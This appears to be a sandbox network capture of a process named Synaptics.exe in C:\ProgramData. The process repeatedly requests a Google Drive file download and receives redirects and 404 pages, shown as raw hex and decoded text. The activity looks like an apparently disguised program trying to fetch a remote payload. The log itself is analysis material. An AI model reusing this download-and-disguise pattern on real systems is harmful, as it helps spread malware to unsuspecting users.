2024-07-02 04:51:36 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-02 04:51:36 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 72 32 43 38 39 79 5a 31 4b 5a 59 74 5f 4d 77 46 71 30 71 4c 4b 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="r2C89yZ1KZYt_MwFq0qLKA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-02 04:51:36 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49779	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:36 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:36 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:36 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-RCw0PqSvDk3TIVvm2KJuRA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: ACJd0NpHnwrMyeiIEaGDnYysUriMvR4DYBPgTzzF2L3hiDu-k5yEDrDrnURj9iiE_WB_VKW_Hgw Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-02 04:51:36 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-02 04:51:36 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 47 68 44 77 5f 70 74 6e 59 55 30 4b 30 37 52 5f 48 66 37 64 4f 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="GhDw_ptnYU0K07R_Hf7dOQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-02 04:51:36 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49781	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:36 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=515=IbPQbmkO8S1c__kDzWy2niX9im8MAVnJ0ifr197baqmYgMBHx1Gdq7YI3NNXycd3ge8Qf-Mkbwlt27bx5bRdhUEvWlqwVraURIaL3FIv8h2ePtmkvqEjd_HFpPJYvCrj-dzSXhJdnl_4WxISiCzdyaSwhb0j4OcPgFDXebu_nlw
2024-07-02 04:51:36 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:36 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-BN8HrrnKYoRBdufoMQjY4A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49783	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:37 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=515=IbPQbmkO8S1c__kDzWy2niX9im8MAVnJ0ifr197baqmYgMBHx1Gdq7YI3NNXycd3ge8Qf-Mkbwlt27bx5bRdhUEvWlqwVraURIaL3FIv8h2ePtmkvqEjd_HFpPJYvCrj-dzSXhJdnl_4WxISiCzdyaSwhb0j4OcPgFDXebu_nlw
2024-07-02 04:51:37 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:37 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-oy36lZugIgc7tO608Qw5gg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49784	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:37 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=515=IbPQbmkO8S1c__kDzWy2niX9im8MAVnJ0ifr197baqmYgMBHx1Gdq7YI3NNXycd3ge8Qf-Mkbwlt27bx5bRdhUEvWlqwVraURIaL3FIv8h2ePtmkvqEjd_HFpPJYvCrj-dzSXhJdnl_4WxISiCzdyaSwhb0j4OcPgFDXebu_nlw
2024-07-02 04:51:37 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:37 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-u_c7n5rN5dqM5Gk4HugdIA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49785	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:37 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:37 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:37 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-6pXfD0g84yghekOISxDelw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: ACJd0Nrt9m-1jFOYMKnkshATZSidTuvLSd5CMrE6Gut81FJMn1a559m_sJIr6WseUVBgkxuogHI Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-02 04:51:37 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-02 04:51:37 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 54 46 4b 50 6a 47 64 69 62 30 4c 71 42 68 36 71 46 5f 6b 71 70 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="TFKPjGdib0LqBh6qF_kqpg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-02 04:51:37 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49786	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:37 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:38 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:38 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-KUYoDuJNS0F3Y8xM7eMdDA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: ACJd0NrD3jAHuAPqJTrQALYZMSg6-PhMFVCeR3ciIqJDdd2ZXXkJs87Yhq0hgc_af3J0DP0xqPo Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-02 04:51:38 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-02 04:51:38 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 68 61 33 66 5f 62 72 35 6b 6e 77 30 33 70 63 6a 30 58 2d 66 6a 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="ha3f_br5knw03pcj0X-fjw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-02 04:51:38 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49790	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:38 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=515=IbPQbmkO8S1c__kDzWy2niX9im8MAVnJ0ifr197baqmYgMBHx1Gdq7YI3NNXycd3ge8Qf-Mkbwlt27bx5bRdhUEvWlqwVraURIaL3FIv8h2ePtmkvqEjd_HFpPJYvCrj-dzSXhJdnl_4WxISiCzdyaSwhb0j4OcPgFDXebu_nlw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49791	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:38 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=515=IbPQbmkO8S1c__kDzWy2niX9im8MAVnJ0ifr197baqmYgMBHx1Gdq7YI3NNXycd3ge8Qf-Mkbwlt27bx5bRdhUEvWlqwVraURIaL3FIv8h2ePtmkvqEjd_HFpPJYvCrj-dzSXhJdnl_4WxISiCzdyaSwhb0j4OcPgFDXebu_nlw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49794	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:39 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=515=IbPQbmkO8S1c__kDzWy2niX9im8MAVnJ0ifr197baqmYgMBHx1Gdq7YI3NNXycd3ge8Qf-Mkbwlt27bx5bRdhUEvWlqwVraURIaL3FIv8h2ePtmkvqEjd_HFpPJYvCrj-dzSXhJdnl_4WxISiCzdyaSwhb0j4OcPgFDXebu_nlw
2024-07-02 04:51:39 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:39 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-H3Q9mwHx55WNV9FRqY_h3g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49795	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
